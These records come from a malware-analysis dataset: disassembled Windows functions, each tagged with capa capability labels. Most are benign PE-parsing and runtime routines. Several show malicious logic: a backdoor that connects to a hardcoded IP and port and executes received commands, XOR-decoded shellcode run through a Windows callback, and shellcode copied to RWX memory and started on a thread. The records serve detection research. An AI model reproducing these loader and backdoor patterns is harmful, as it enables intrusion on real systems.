joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x140007314]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001c10
mov rax, qword [0x140007318]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001aac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001b37
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001a90
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001c6d
mov rax, qword [0x140007318]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140007318]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c52
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b30
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001bc0
add dword [0x140007314], 1
cmp ebx, 8
jae 0x140001b68
test bl, 4
jne 0x140001c20
test ebx, ebx
je 0x140001b59
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001c40
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001b59
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001b9a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x140007318]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b30
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001ab7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001b59
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001b59
mov rax, qword [0x140007318]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002180
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007380]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007360]
test rbx, rbx
je 0x1400021d4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400021cb
test r12, r12
je 0x1400021cb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021b0
lea rcx, [0x140007380]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x140002410
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002465
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000245c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002467
add rax, 0x28
cmp rax, r9
jne 0x140002448
xor eax, eax
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140004360]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002589
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002589
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002586
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000257d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002589
add r8, 0x28
cmp r8, r9
jne 0x140002568
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002670
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004360]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400026df
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x1400026df
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x1400026dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026e8
add rax, 0x28
cmp rax, r9
jne 0x1400026c0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140002700
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x140004360]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002778
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002778
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002778
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002778
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x14000276c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002780
add rdx, 0x28
cmp rdx, r10
jne 0x140002758
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002790
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000279e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002775
test r8d, r8d
jg 0x140002788
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x140002080
Capabilities:
Connect socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x220
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x210], rax
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140002243
xor ebp, ebp
nop
xorps xmm0, xmm0
mov qword [rsp + 0x28], rbp
xorps xmm1, xmm1
mov qword [rsp + 0x38], rbp
lea r9, [rsp + 0x28]
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x38]
mov dword [rsp + 0x44], 6
lea rdx, str.33110
lea rcx, str.13.112.122.67
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140002292
mov rdi, qword [rsp + 0x28]
test rdi, rdi
je 0x1400021e9
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002283
nop dword [rax]
mov r8d, dword [rdi + 0x10]
mov rcx, rsi
mov rdx, qword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
mov ecx, 0x64
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x140002150
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
mov dword [rsp + 0x20], ebp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, str.get_num:
call fcn.140001040
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rsi
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x14000227a
movsx edx, byte [rsp + 0x30]
lea rcx, [0x14000469c]
call fcn.140001040
movzx edx, byte [rsp + 0x30]
lea r8, [rsp + 0x20]
mov rcx, rsi
call fcn.1400014a0
test eax, eax
jne 0x140002190
lea rcx, str.disconnected..._n
jmp 0x140002214
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400020d0
lea rcx, str.WSAStartup_fail_n
call fcn.140001040
xor eax, eax
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1400024a0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rcx, str.get_num_fail..disconnet__n
jmp 0x14000224a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed:__ld_n
jmp 0x140002299
lea rcx, str.getaddrinfo_failed:__d_n
mov edx, eax
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140002251
Function at 0x141b9f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x141b9fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x141ba0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x141b9f5
lea eax, [rcx + 1]
jmp 0x141ba1b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x141ba2e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x141ba14
sub eax, 3
jb 0x141ba4e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x141ba9d
sar eax, 1
movsxd rbp, eax
jb 0x141ba84
jmp 0x141ba5c
add ebx, ebx
jne 0x141ba5a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141ba84
inc ecx
add ebx, ebx
jne 0x141ba6a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141ba84
call r11
adc ecx, ecx
add ebx, ebx
jne 0x141ba7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x141ba6c
add ecx, 2
jmp 0x141ba89
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0141b9b2
jmp 0x141b9fd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0xff1000]
mov eax, dword [rdi]
or eax, eax
je 0x141bafd
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x101b4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x141baad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x141baf7
mov qword [rbx], rax
add rbx, 8
jmp 0x141bacd
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x141bb41
cmp al, 0xef
ja 0x141bb29
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x141bb09
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x141bb18
mov eax, dword [rdi]
add rdi, 4
jmp 0x141bb18
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.0141bbc0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.0141bbc0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x141bbb0
sub rsp, 0xffffffffffffff80
jmp 0x4014e0
Function at 0x1400010a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push rdi
mov eax, 0x1060
call fcn.140001f00
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor edi, edi
mov rax, rdx
cmp ecx, 2
je 0x1400010d7
mov qword [0x140003678], rdi
jmp 0x1400011db
lea rcx, [0x14000229c]
mov qword [rsp + 0x30], rdi
mov qword [0x140003678], rcx
xor r9d, r9d
mov rcx, qword [rax + 8]
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov qword [rsp + 0x1070], rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov r8d, eax
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
movdqa xmm1, xmmword [str.zzzzzzzzzzzzzzzz_]
mov rbx, qword [rsp + 0x1070]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rsp + rdi + 0x50]
xorps xmm0, xmm1
movdqu xmmword [rsp + rdi + 0x50], xmm0
movdqu xmm0, xmmword [rsp + rdi + 0x60]
xorps xmm0, xmm1
movdqu xmmword [rsp + rdi + 0x60], xmm0
movdqu xmm0, xmmword [rsp + rdi + 0x70]
xorps xmm0, xmm1
movdqu xmmword [rsp + rdi + 0x70], xmm0
movdqu xmm0, xmmword [rsp + rdi + 0x80]
xorps xmm0, xmm1
movdqu xmmword [rsp + rdi + 0x80], xmm0
add rdi, 0x40
cmp rdi, 0x1000
jne 0x140001160
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
lea rdx, [rsp + 0x50]
mov rcx, rax
mov qword [0x140003660], rax
call sub.VCRUNTIME140.dll_memcpy
xor edx, edx
lea r8, [0x140001070]
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
xor eax, eax
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140001220
add rsp, 0x1060
pop rdi
ret

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x10000f5c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10000f615
cmp rcx, 0xffffffffffffffff
je 0x10000f615
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000f60d
cmp dword [rcx + 0x3c], edx
jl 0x10000f60d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000f60d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10000f615
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1800011c0
Capabilities:
Allocate or change rwx memory
Create thread
Query environment variable
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
sub rsp, 0x278
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
cmp edx, 1
jne 0x1800013b5
mov qword [r11 + 8], rbx
lea rcx, [rsp + 0x30]
mov qword [r11 + 0x10], rsi
mov ebx, 7
xor esi, esi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rsi
lea edx, [rsi + 0xc]
call fcn.1800013e0
cmp qword [rsp + 0x48], 8
lea rcx, [rsp + 0x30]
mov r8d, 0x104
lea rdx, [rsp + 0x50]
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x180001360
mov edx, 0x3e5
mov qword [rsp + 0x270], rdi
xor ecx, ecx
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180001358
mov r9, rax
lea rcx, [0x180005040]
nop
lea r9, [r9 + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [r9 - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [r9 - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [r9 - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r9 - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r9 - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r9 - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r9 - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r9 - 0x10], xmm1
sub rbx, 1
jne 0x180001270
movups xmm0, xmmword [rcx]
mov edx, 0x104
mov r8d, 0x3000
movups xmmword [r9], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r9 + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r9 + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r9 + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r9 + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r9 + 0x50], xmm1
mov eax, dword [rcx + 0x60]
mov dword [r9 + 0x60], eax
movzx eax, byte [rcx + 0x64]
xor ecx, ecx
mov byte [r9 + 0x64], al
lea r9d, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x50]
mov edx, 0x104
mov rcx, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rdi + 0x1a0]
mov qword [rsp + 0x28], rsi
mov r9, rbx
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, qword [rsp + 0x270]
mov rdx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x280]
cmp rdx, 8
jb 0x1800013b5
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800013b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800013b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001580
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180001560
add rsp, 0x278
ret
Function at 0x140001020
Capabilities:
Resolve dns

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x140004040]
xor rax, rsp
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
mov qword [rsp + 0x20], 0
mov rax, rdx
lea r9, [rsp + 0x20]
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x2c], ecx
mov rdi, r8
mov rcx, rax
lea r8, [rsp + 0x28]
xor edx, edx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.WS2_32.dll_getaddrinfo]
cmp eax, 0xffffffff
je 0x1400010c3
mov qword [rsp + 0x88], rbx
mov rbx, qword [rsp + 0x20]
test rbx, rbx
je 0x1400010bc
mov r8, qword [rbx + 0x10]
mov rcx, rdi
mov rdx, qword [rbx + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001150
add rsp, 0x60
pop rdi
ret
mov eax, 0xffffffff
jmp 0x1400010a1
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001150
add rsp, 0x60
pop rdi
ret

Function at 0x140001abc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b06
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b08
xor al, al
add rsp, 0x28
ret
Function at 0x1400532d0
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
lea rdi, [rsp + 0x30]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf0]
mov dword [rsp + 0xa4], 0
mov dword [rsp + 0x34], 0
mov rcx, qword [rsp + 0xf8]
call fcn.1400583d0
mov dword [rsp + 0xa8], eax
mov rcx, qword [rsp + 0xf8]
call fcn.140057c00
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x40000001
mov edx, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x34]
xor r8d, r8d
mov edx, eax
mov rcx, qword [rsp + 0xf0]
call fcn.140055ac0
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0xa4]
or eax, 1
mov dword [rsp + 0xa4], eax
xor edx, edx
mov rcx, qword [rsp + 0xf0]
call fcn.1400562a0
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xf8]
call fcn.1400583d0
mov dword [rsp + 0xc8], eax
mov rcx, qword [rsp + 0xf8]
call fcn.140057c00
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xc0]
mov r8d, 0x40000001
mov edx, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov rax, qword [rsp + 0xf0]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140117890]
call fcn.140063fd0
mov rax, rdi
add rsp, 0xe0
pop rdi
ret
Function at 0x140059220
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rax, qword [0x14014b020]
test rax, rax
jne 0x140059244
jmp 0x140059449
mov ecx, dword [rsp + 0x88]
call fcn.1400591c0
mov rdx, rax
lea rcx, str._info__TLS_callback_enter___s__n
call fcn.1400584a0
cmp dword [rsp + 0x88], 1
jne 0x140059294
mov rax, qword [0x14014b020]
test rax, rax
je 0x140059294
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x14014b028], eax
mov rax, qword [0x14014b020]
mov rax, qword [rax + 0x10]
mov ecx, dword [0x14014b028]
mov dword [rax], ecx
cmp dword [rsp + 0x88], 2
je 0x1400592ac
cmp dword [rsp + 0x88], 1
jne 0x14005935f
mov rax, qword [0x14014b020]
mov rcx, qword [0x14014b020]
mov rcx, qword [rcx]
mov rax, qword [rax + 8]
sub rax, rcx
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [0x14014b020]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
call fcn.140061370
mov qword [rsp + 0x30], rax
mov rax, qword [0x14014b020]
mov r8, qword [0x14014b030]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x30]
call fcn.1401139e0
mov rax, qword [0x14014b020]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
xor edx, edx
call fcn.140114080
mov rdx, qword [rsp + 0x30]
mov ecx, dword [0x14014b028]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
lea rcx, str.___info__Copied_TLS_data_n
call fcn.1400584a0
mov dword [rsp + 0x38], 0
jmp 0x140059373
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x38]
mov qword [rsp + 0x48], rax
lea rcx, [0x14014aff8]
call fcn.14005a580
mov rcx, qword [rsp + 0x48]
cmp rcx, rax
jae 0x140059422
movsxd rax, dword [rsp + 0x38]
mov rdx, rax
lea rcx, [0x14014aff8]
call fcn.140059e10
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
lea rcx, [0x14014aff8]
call fcn.14005a580
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x38]
inc eax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov edx, eax
lea rcx, str.___info__Calling_TLS_callback__i__lli__0x_llx__n
call fcn.1400584a0
movsxd rax, dword [rsp + 0x38]
mov rdx, rax
lea rcx, [0x14014aff8]
call fcn.140059e10
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
xor r8d, r8d
mov edx, dword [rsp + 0x88]
mov rcx, qword [0x14014b018]
call qword [rsp + 0x60]
jmp 0x140059369
